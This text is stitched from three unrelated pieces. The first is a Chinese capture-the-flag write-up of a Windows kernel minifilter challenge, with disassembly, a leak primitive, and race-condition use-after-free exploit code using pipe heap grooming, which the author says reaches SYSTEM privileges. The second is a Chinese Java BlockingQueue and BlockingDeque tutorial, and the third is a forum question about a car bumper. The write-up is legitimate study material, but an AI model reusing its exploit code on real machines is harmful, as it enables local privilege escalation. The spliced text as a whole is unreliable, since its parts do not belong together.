    .rdata:0000000140003240                 dq offset sub_140006000 ; InstanceSetupCallback
    .rdata:0000000140003248                 dq offset sub_1400060A0 ; InstanceQueryTeardownCallback
    .rdata:0000000140003250                 dq offset sub_140006030 ; InstanceTeardownStartCallback
    .rdata:0000000140003258                 dq offset sub_140006050 ; InstanceTeardownCompleteCallback
    .rdata:0000000140003260                 dq 0                    ; GenerateFileNameCallback
    .rdata:0000000140003268                 dq 0                    ; NormalizeNameComponentCallback
    .rdata:0000000140003270                 dq 0                    ; NormalizeContextCleanupCallback
    .rdata:0000000140003278                 dq 0                    ; TransactionNotificationCallback
    .rdata:0000000140003280                 dq 0                    ; NormalizeNameComponentExCallback
    .rdata:0000000140003288                 align 10h
    
    .rdata:00000001400031C0 stru_1400031C0  db 3                    ; MajorFunction(IRP_MJ_READ)
    .rdata:00000001400031C0                                         ; DATA XREF: .rdata:Registration↓o
    .rdata:00000001400031C1                 db 3 dup(0)
    .rdata:00000001400031C4                 dd 0                    ; Flags
    .rdata:00000001400031C8                 dq offset PreOptionFunc ; PreOperation
    .rdata:00000001400031D0                 dq offset ReadPostCallback  ; PostOperation
    .rdata:00000001400031D8                 dq 0                    ; Reserved1
    .rdata:00000001400031E0                 db 4                    ; MajorFunction(IRP_MJ_WRITE)
    .rdata:00000001400031E1                 db 3 dup(0)
    .rdata:00000001400031E4                 dd 0                    ; Flags
    .rdata:00000001400031E8                 dq offset PreOptionFunc ; PreOperation
    .rdata:00000001400031F0                 dq offset ConnectNotifyCallback; PostOperation
    .rdata:00000001400031F8                 dq 0                    ; Reserved1
    .rdata:0000000140003200                 db 80h                  ; MajorFunction
    .rdata:0000000140003201                 db 3 dup(0)
    .rdata:0000000140003204                 dd 0                    ; Flags
    .rdata:0000000140003208                 dq 0                    ; PreOperation
    .rdata:0000000140003210                 dq 0                    ; PostOperation
    .rdata:0000000140003218                 dq 0                    ; Reserved1            
    

    可以看到,程序对IRP_MJ_READ|IRP_MJ_WRITE进行了注册,进一步分析之后,会发现其实只有读回调是有必要分析的。其中代码为:

    __int64 __fastcall ReadPostCallback(PFLT_CALLBACK_DATA CallbackData)
    {
      NTSTATUS Status; // eax
      char *v3; // rax
      PFLT_IO_PARAMETER_BLOCK Iopb; // r9
      struct _MDL *MdlAddress; // rcx
      char *Parameters; // r9
      char *buffer; // rdx
      signed int Size; // eax
      PFLT_FILE_NAME_INFORMATION FileNameInformation; // [rsp+20h] [rbp-148h] BYREF
      GLOBAL_CTX m_ctx; // [rsp+28h] [rbp-140h]
      char String[272]; // [rsp+40h] [rbp-128h] BYREF
    
      sub_140002100(String, 0, 0x104u);
      Status = CallbackData->IoStatus.Status;
      if ( Status >= 0 && Status != 260 && FltGetFileNameInformation(CallbackData, 0x101u, &FileNameInformation) >= 0 )
      {
        if ( FltParseFileNameInformation(FileNameInformation) >= 0 )
        {
          sub_1400015CC(&FileNameInformation->Name, String);
          v3 = strlwr(String);
          if ( strstr(v3, "_0ctf_2025.txt") )
          {
            _mm_lfence();
            Iopb = CallbackData->Iopb;
            MdlAddress = Iopb->Parameters.Read.MdlAddress;
            if ( MdlAddress )
              Parameters = (char *)((MdlAddress->MdlFlags & 5) != 0
                                  ? MdlAddress->MappedSystemVa
                                  : MmMapLockedPages(MdlAddress, 0));
            else
              Parameters = (char *)Iopb->Parameters.CreatePipe.Parameters;
            m_ctx = gCTX;
            buffer = (char *)_mm_srli_si128((__m128i)gCTX, 8).m128i_u64[0];
            if ( buffer )
            {
              _mm_lfence();
              Size = m_ctx.Size;
              if ( m_ctx.Size > CallbackData->Iopb->Parameters.Read.Length )
                Size = CallbackData->Iopb->Parameters.Read.Length;
              a__memcpy(Parameters, buffer, Size);
              CallbackData->IoStatus.Information = CallbackData->Iopb->Parameters.Read.Length;
            }
          }
        }
        FltReleaseFileNameInformation(FileNameInformation);
      }
      return 0;
    }
    

    根据逻辑我们可以知道,当我们的Read操作中,传入的文件名参数带有关键字符_0ctf_2025.txt的时候,程序会从全局对象gCTX+0x8的位置开始,取出指针,并且将那个指针中总共Size大小的数据传入到我们IRP中,相当于是作为了Read操作的返回数据。

    用户态交互代码

    根据这一步,我们可以在用户态写出这样的代码来进行内核数据的读取:

    HANDLE CreateTempFile()
    {
        char tempPath[MAX_PATH] = { 0 };
        char filePath[MAX_PATH] = { 0 };
    
        if (GetTempPathA(MAX_PATH, tempPath) == 0)
        {
            printf("get temp file path error !");
            return INVALID_HANDLE_VALUE;
        }
    
        snprintf(filePath, MAX_PATH, "%s%s", tempPath, strTargetPath);
    
        // printf("temp file path is %s\n", filePath);
        HANDLE hFile = CreateFileA(
            filePath,
            // GENERIC_ALL,
            GENERIC_READ | GENERIC_WRITE,
            // 0,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            nullptr,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            nullptr
        );
    
        return hFile;
    }
    
    int ReadDataFromGMSG(unsigned char* buf, size_t read_size) {
        HANDLE h;
        // char buf[0x1000] = { 0 };
        DWORD read;
    
        h = CreateTempFile();
    
        if (h == INVALID_HANDLE_VALUE) {
            printf("open failed\n");
            return 0;
        }
    
        const char marker = 'X';
        DWORD written;
        WriteFile(h, &marker, 1, &written, nullptr);
    
        SetFilePointer(h, 0, nullptr, FILE_BEGIN);
    
        BOOL rState = ReadFile(h, buf, read_size, &read, NULL);
    
        if (!rState)
        {
            printf("Read file error with %d\n", GetLastError());
            return -1;
        }
    
        CloseHandle(h);
        return 0;
    }
    

    注意,由于这里注册的是PostRead,所以我们首先需要保证Read的成功。这就意味着我们首先需要真的创建一个包含目标名字的文件。所以在代码中,我们首先在Temp目录下创建了同名文件,然后才会尝试读取。

    触发PoC

    结合我们之前提到的利用技巧,这里我们准备使用PIPE的攻击方法来完成攻击。所以我们期望发生的内存布局是这样的:

    +----------+---------+---------+
    |          |         |         |
    |          |   UAF   |         |
    |  PIPE    |  BLOCK  |  PIPE   |
    |          |         |         |
    |          |         |         |
    |          |         |         |
    +----------+---------+---------+
    

    这样我们就能够获得一个可以被我们任意修改的PIEP,从而实现攻击原语。

    这里我们建立两个线程,主线程用于反复的调用NEW/FREE操作,另一个线程进行条件竞争,不停的进行EDIT。此时在调用完之后,我们利用之前过滤器的泄露原语来确认我们当前的这个目标池内容是否真的被修改成了EDIT后的内容,以此来证明我们条件竞争的成功。具体来说:

    首先,当我们线程1NEW一个BLOCK的时候,我们在BLOCK中填入大量的A

    +------------+
    | AAAAAAA    |
    |            |
    |            |
    |            |
    |            |
    |            |
    |            |
    +------------+
    

    我们在EDIT线程2中,将其修改成C

    +------------+
    | CCCCCCC    |
    |            |
    |            |
    |            |
    |            |
    |            |
    |            |
    +------------+
    

    如果我们在线程1的FREE操作后,读出来的BLOCK是成功被修改后的BLOCK(也就是内容为C),那么此时就能够证明我们利用的成功

    int static FengshuiPipe()
    {
        PIPE_HANDLES spare_pipe, subsegments_pipe, bcrypt_pipe;
        DWORD res;
        IO_STATUS_BLOCK isb;
    
        puts("Start fengshui");
        // char d = getchar();
        // 1. create lots of pips
        for (int i = 0; i < VICTIM_PIPES_NUMBER; i++) {
            CreateMyPipe(&victim_pipes[i], 0x1000);
        }
    
        // 2. try to Free some pipe to create hole
        for (int i = VICTIM_PIPES_NUMBER-2; i < VICTIM_PIPES_NUMBER; i += 2)
        {
            CloseMyPipe(&victim_pipes[i]);
        }
    
        // 3. create empty block, the trigger uaf
        //CallFilterComm(NEW_BLOCK, 0x1000, 0x61);
    
        // 4. race condition to get 
        // prepare event
        g_EventStart = CreateEvent(NULL, FALSE, FALSE, NULL);
        g_EventEdit = CreateEvent(NULL, FALSE, FALSE, NULL);
    
        SetThreadAffinityMask(GetCurrentThread(), 1 << 0);
        SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
        CreateThread(NULL, 0, edit_thread, &g_hPort, 0, NULL);
        // while (InterlockedCompareExchange(&g_race_done, 0, 0) == 0)
        while (TRUE)
        {
            // printf("create new block\n");
            // (1) create mesg
            //puts("start");
            //char c = getchar();
            unsigned char buf1[0x1000] = { 0x61 };
            memset(buf1, 0x61, sizeof(buf1));
            CallFilterComm(NEW_BLOCK, 0x1000, buf1);
            g_CanEdit = TRUE;
    
            // (2) race condition will try to free it
            // so here we try to replace it with new one 
    
            // SetEvent(g_EventStart);
            /// printf("free block\n");
            unsigned char buf2[0x1000] = { 0x62 };
            memset(buf2, 0x62, sizeof(buf2));
    
            CallFilterComm(FREE_BLOCK, 0x1000, buf2);
    
            // break;
    
            for (volatile int i = 0; i < 500; i++) { _mm_pause(); }
    
            g_CanEdit = FALSE;
    
            // (3) if race condition happen, we try to 
            // load data from gmsg, check if has been edited
            unsigned char buffer[0x1000] = { 0 };
            ReadDataFromGMSG(buffer, sizeof(buffer));
            // printf("%s\n", buffer);
            // break;
            if (buffer[0] == 0x63)
            {
                g_RaceDone = TRUE;
                // replace success ,stop race
                // if (InterlockedCompareExchange(&g_race_done, 1, NULL) == 0)
                // {
                    printf("[+] race condition success!\n");
                    ReleaseSemaphore(g_done_sam, 1, NULL);
                // }
                break;
            }
        }
    

    利用部分

    具体的利用脚本放在这里 总体思路就和之前提到的一样,利用PIPE的各类原语构造整个利用思路,并且合理进行风水后完成利用。

    后记

    其实比赛期间完全没有做出来这个题目,不知道这个利用手法在真正的题目中能不能做出来。上述代码经测试,在Windows 11 25H2上是能够获取System全新先的。所以可能有所问题,欢迎斧正。

    在比赛结束后才发现,Windows提权还有其他的利用技巧,比如_WNF_STATE_DATA 相关这种办法。可能这些利用手法会更加简单,以后有空会进行相关整理。

    参考文章

    https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master

    BlockingQueue和BlockingDeque

    BlockingQueue

    BlockingQueue 通常用于一个线程生产对象,而另外一个线程消费这些对象的场景。下图是对这个原理的阐述:

    一个线程往里边放,另外一个线程从里边取的一个 BlockingQueue。

    一个线程将会持续生产新对象并将其插入到队列之中,直到队列达到它所能容纳的临界点。也就是说,它是有限的。如果该阻塞队列到达了其临界点,负责生产的线程将会在往里边插入新对象时发生阻塞。它会一直处于阻塞之中,直到负责消费的线程从队列中拿走一个对象。 负责消费的线程将会一直从该阻塞队列中拿出对象。如果消费线程尝试去从一个空的队列中提取对象的话,这个消费线程将会处于阻塞之中,直到一个生产线程把一个对象丢进队列。

    BlockingQueue 的方法

    BlockingQueue 具有 4 组不同的方法用于插入、移除以及对队列中的元素进行检查。如果请求的操作不能得到立即执行的话,每个方法的表现也不同。这些方法如下:

    抛异常特定值阻塞超时
    插入add(o)offer(o)put(o)offer(o, timeout, timeunit)
    移除remove()poll()take()poll(timeout, timeunit)
    检查element()peek()

    四组不同的行为方式解释:

    • 抛异常:如果试图的操作无法立即执行,抛一个异常。
    • 特定值:如果试图的操作无法立即执行,返回一个特定的值(常常是 true / false)。
    • 阻塞:如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行。
    • 超时:如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行,但等待时间不会超过给定值。返回一个特定值以告知该操作是否成功(典型的是 true / false)。

    无法向一个 BlockingQueue 中插入 null。如果你试图插入 null,BlockingQueue 将会抛出一个 NullPointerException。 可以访问到 BlockingQueue 中的所有元素,而不仅仅是开始和结束的元素。比如说,你将一个对象放入队列之中以等待处理,但你的应用想要将其取消掉。那么你可以调用诸如 remove(o) 方法来将队列之中的特定对象进行移除。但是这么干效率并不高,因此你尽量不要用这一类的方法,除非你确实不得不那么做。

    BlockingDeque

    java.util.concurrent 包里的 BlockingDeque 接口表示一个线程安放入和提取实例的双端队列。

    BlockingDeque 类是一个双端队列,在不能够插入元素时,它将阻塞住试图插入元素的线程;在不能够抽取元素时,它将阻塞住试图抽取的线程。 deque(双端队列) 是 "Double Ended Queue" 的缩写。因此,双端队列是一个你可以从任意一端插入或者抽取元素的队列。

    在线程既是一个队列的生产者又是这个队列的消费者的时候可以使用到 BlockingDeque。如果生产者线程需要在队列的两端都可以插入数据,消费者线程需要在队列的两端都可以移除数据,这个时候也可以使用 BlockingDeque。BlockingDeque 图解:

    BlockingDeque 的方法

    一个 BlockingDeque - 线程在双端队列的两端都可以插入和提取元素。 一个线程生产元素,并把它们插入到队列的任意一端。如果双端队列已满,插入线程将被阻塞,直到一个移除线程从该队列中移出了一个元素。如果双端队列为空,移除线程将被阻塞,直到一个插入线程向该队列插入了一个新元素。

    BlockingDeque 具有 4 组不同的方法用于插入、移除以及对双端队列中的元素进行检查。如果请求的操作不能得到立即执行的话,每个方法的表现也不同。这些方法如下:

    抛异常特定值阻塞超时
    插入addFirst(o)offerFirst(o)putFirst(o)offerFirst(o, timeout, timeunit)
    移除removeFirst(o)pollFirst(o)takeFirst(o)pollFirst(timeout, timeunit)
    检查getFirst(o)peekFirst(o)
    抛异常特定值阻塞超时
    插入addLast(o)offerLast(o)putLast(o)offerLast(o, timeout, timeunit)
    移除removeLast(o)pollLast(o)takeLast(o)pollLast(timeout, timeunit)
    检查getLast(o)peekLast(o)

    四组不同的行为方式解释:

    • 抛异常: 如果试图的操作无法立即执行,抛一个异常。
    • 特定值: 如果试图的操作无法立即执行,返回一个特定的值(常常是 true / false)。
    • 阻塞: 如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行。
    • 超时: 如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行,但等待时间不会超过给定值。返回一个特定值以告知该操作是否成功(典型的是 true / false)。

    BlockingDeque 与BlockingQueue关系

    BlockingDeque 接口继承自 BlockingQueue 接口。这就意味着你可以像使用一个 BlockingQueue 那样使用 BlockingDeque。如果你这么干的话,各种插入方法将会把新元素添加到双端队列的尾端,而移除方法将会把双端队列的首端的元素移除。正如 BlockingQueue 接口的插入和移除方法一样。

    以下是 BlockingDeque 对 BlockingQueue 接口的方法的具体内部实现:

    BlockingQueueBlockingDeque
    add()addLast()
    offer() x 2offerLast() x 2
    put()putLast()
    remove()removeFirst()
    poll() x 2pollFirst()
    take()takeFirst()
    element()getFirst()
    peek()peekFirst()

    BlockingQueue 的例子

    这里是一个 Java 中使用 BlockingQueue 的示例。本示例使用的是 BlockingQueue 接口的 ArrayBlockingQueue 实现。 首先,BlockingQueueExample 类分别在两个独立的线程中启动了一个 Producer 和 一个 Consumer。Producer 向一个共享的 BlockingQueue 中注入字符串,而 Consumer 则会从中把它们拿出来。

    public class BlockingQueueExample {
        public static void main(String[] args) throws Exception {
            BlockingQueue queue = new ArrayBlockingQueue(1024);
            
            Producer producer = new Producer(queue);
            Consumer consumer = new Consumer(queue);
     
            new Thread(producer).start();
            new Thread(consumer).start();
     
            Thread.sleep(4000);
        }
    }

    以下是 Producer 类。注意它在每次 put() 调用时是如何休眠一秒钟的。这将导致 Consumer 在等待队列中对象的时候发生阻塞。

    public class Producer implements Runnable{
        protected BlockingQueue queue = null;
        public Producer(BlockingQueue queue) {
            this.queue = queue;
        }
        public void run() {
            try {
                queue.put("1");
                Thread.sleep(1000);
                queue.put("2");
                Thread.sleep(1000);
                queue.put("3");
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    }

    以下是 Consumer 类。它只是把对象从队列中抽取出来,然后将它们打印到 System.out。

    public class Consumer implements Runnable{
        protected BlockingQueue queue = null;
        public Consumer(BlockingQueue queue) {
            this.queue = queue;
        }
        public void run() {
            try {
                System.out.println(queue.take());
                System.out.println(queue.take());
                System.out.println(queue.take());
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    }

    数组阻塞队列 ArrayBlockingQueue

    ArrayBlockingQueue 类实现了 BlockingQueue 接口。

    ArrayBlockingQueue 是一个有界的阻塞队列,其内部实现是将对象放到一个数组里。有界也就意味着,它不能够存储无限多数量的元素。它有一个同一时间能够存储元素数量的上限。你可以在对其初始化的时候设定这个上限,但之后就无法对这个上限进行修改了(译者注: 因为它是基于数组实现的,也就具有数组的特性: 一旦初始化,大小就无法修改)。 ArrayBlockingQueue 内部以 FIFO(先进先出)的顺序对元素进行存储。队列中的头元素在所有元素之中是放入时间最久的那个,而尾元素则是最短的那个。 以下是在使用 ArrayBlockingQueue 的时候对其初始化的一个示例:

    BlockingQueue queue = new ArrayBlockingQueue(1024);
    queue.put("1");
    Object object = queue.take();

    以下是使用了 Java 泛型的一个 BlockingQueue 示例。注意其中是如何对 String 元素放入和提取的:

    BlockingQueue<String> queue = new ArrayBlockingQueue<String>(1024);
    queue.put("1");
    String string = queue.take();

    延迟队列 DelayQueue

    DelayQueue 实现了 BlockingQueue 接口。

    DelayQueue 对元素进行持有直到一个特定的延迟到期。注入其中的元素必须实现 java.util.concurrent.Delayed 接口,该接口定义:

    public interface Delayed extends Comparable<Delayed< {
        public long getDelay(TimeUnit timeUnit);
    }

    DelayQueue 将会在每个元素的 getDelay() 方法返回的值的时间段之后才释放掉该元素。如果返回的是 0 或者负值,延迟将被认为过期,该元素将会在 DelayQueue 的下一次 take 被调用的时候被释放掉。

    传递给 getDelay 方法的 getDelay 实例是一个枚举类型,它表明了将要延迟的时间段。TimeUnit 枚举将会取以下值:

    • DAYS
    • HOURS
    • INUTES
    • SECONDS
    • MILLISECONDS
    • MICROSECONDS
    • NANOSECONDS

    正如你所看到的,Delayed 接口也继承了 java.lang.Comparable 接口,这也就意味着 Delayed 对象之间可以进行对比。这个可能在对 DelayQueue 队列中的元素进行排序时有用,因此它们可以根据过期时间进行有序释放。 以下是使用 DelayQueue 的例子:

    public class DelayQueueExample {
        public static void main(String[] args) {
            DelayQueue queue = new DelayQueue();
            Delayed element1 = new DelayedElement();
            queue.put(element1);
            Delayed element2 = queue.take();
        }
    }

    DelayedElement 是我所创建的一个 DelayedElement 接口的实现类,它不在 java.util.concurrent 包里。你需要自行创建你自己的 Delayed 接口的实现以使用 DelayQueue 类。

    链阻塞队列 LinkedBlockingQueue

    LinkedBlockingQueue 类实现了 BlockingQueue 接口。

    LinkedBlockingQueue 内部以一个链式结构(链接节点)对其元素进行存储。如果需要的话,这一链式结构可以选择一个上限。如果没有定义上限,将使用 Integer.MAX_VALUE 作为上限。

    LinkedBlockingQueue 内部以 FIFO(先进先出)的顺序对元素进行存储。队列中的头元素在所有元素之中是放入时间最久的那个,而尾元素则是最短的那个。 以下是 LinkedBlockingQueue 的初始化和使用示例代码:

    BlockingQueue<String> unbounded = new LinkedBlockingQueue<String>();
    BlockingQueue<String> bounded   = new LinkedBlockingQueue<String>(1024);
    bounded.put("Value");
    String value = bounded.take();

    具有优先级的阻塞队列 PriorityBlockingQueue

    PriorityBlockingQueue 类实现了 BlockingQueue 接口。

    PriorityBlockingQueue 是一个无界的并发队列。它使用了和类 java.util.PriorityQueue 一样的排序规则。你无法向这个队列中插入 null 值。 所有插入到 PriorityBlockingQueue 的元素必须实现 java.lang.Comparable 接口。因此该队列中元素的排序就取决于你自己的 Comparable 实现。 注意 PriorityBlockingQueue 对于具有相等优先级(compare() == 0)的元素并不强制任何特定行为。

    同时注意,如果你从一个 PriorityBlockingQueue 获得一个 Iterator 的话,该 Iterator 并不能保证它对元素的遍历是以优先级为序的。 以下是使用 PriorityBlockingQueue 的示例:

    BlockingQueue queue   = new PriorityBlockingQueue();
    //String implements java.lang.Comparable
    queue.put("Value");
    String value = queue.take();

    同步队列 SynchronousQueue

    SynchronousQueue 类实现了 BlockingQueue 接口。

    SynchronousQueue 是一个特殊的队列,它的内部同时只能够容纳单个元素。如果该队列已有一元素的话,试图向队列中插入一个新元素的线程将会阻塞,直到另一个线程将该元素从队列中抽走。同样,如果该队列为空,试图向队列中抽取一个元素的线程将会阻塞,直到另一个线程向队列中插入了一条新的元素。 据此,把这个类称作一个队列显然是夸大其词了。它更多像是一个汇合点。

    BlockingDeque 的例子

    既然 BlockingDeque 是一个接口,那么你想要使用它的话就得使用它的众多的实现类的其中一个。java.util.concurrent 包提供了以下 BlockingDeque 接口的实现类: LinkedBlockingDeque。

    以下是如何使用 BlockingDeque 方法的一个简短代码示例:

    BlockingDeque<String> deque = new LinkedBlockingDeque<String>();
    deque.addFirst("1");
    deque.addLast("2");
     
    String two = deque.takeLast();
    String one = deque.takeFirst();

    链阻塞双端队列 LinkedBlockingDeque

    LinkedBlockingDeque 类实现了 BlockingDeque 接口。

    deque(双端队列) 是 "Double Ended Queue" 的缩写。因此,双端队列是一个你可以从任意一端插入或者抽取元素的队列。

    LinkedBlockingDeque 是一个双端队列,在它为空的时候,一个试图从中抽取数据的线程将会阻塞,无论该线程是试图从哪一端抽取数据。

    以下是 LinkedBlockingDeque 实例化以及使用的示例:

    BlockingDeque<String> deque = new LinkedBlockingDeque<String>();
    deque.addFirst("1");
    deque.addLast("2");
     
    String two = deque.takeLast();
    String one = deque.takeFirst();

    昨天开车发生了点刮蹭,汽车前保险杠裂了。因为今年已经出了一次险,在走保险的话明年保费可能要涨不少。我看了一下宋 plus dmi 前保险杠淘宝有卖的,带烤漆不到 300 ,修理厂更换收费大概 150 。不知道这样操作有没有坑,第三方的配件品质怎么样,影不影响车辆维保?各位 18cm 有没有这么干过?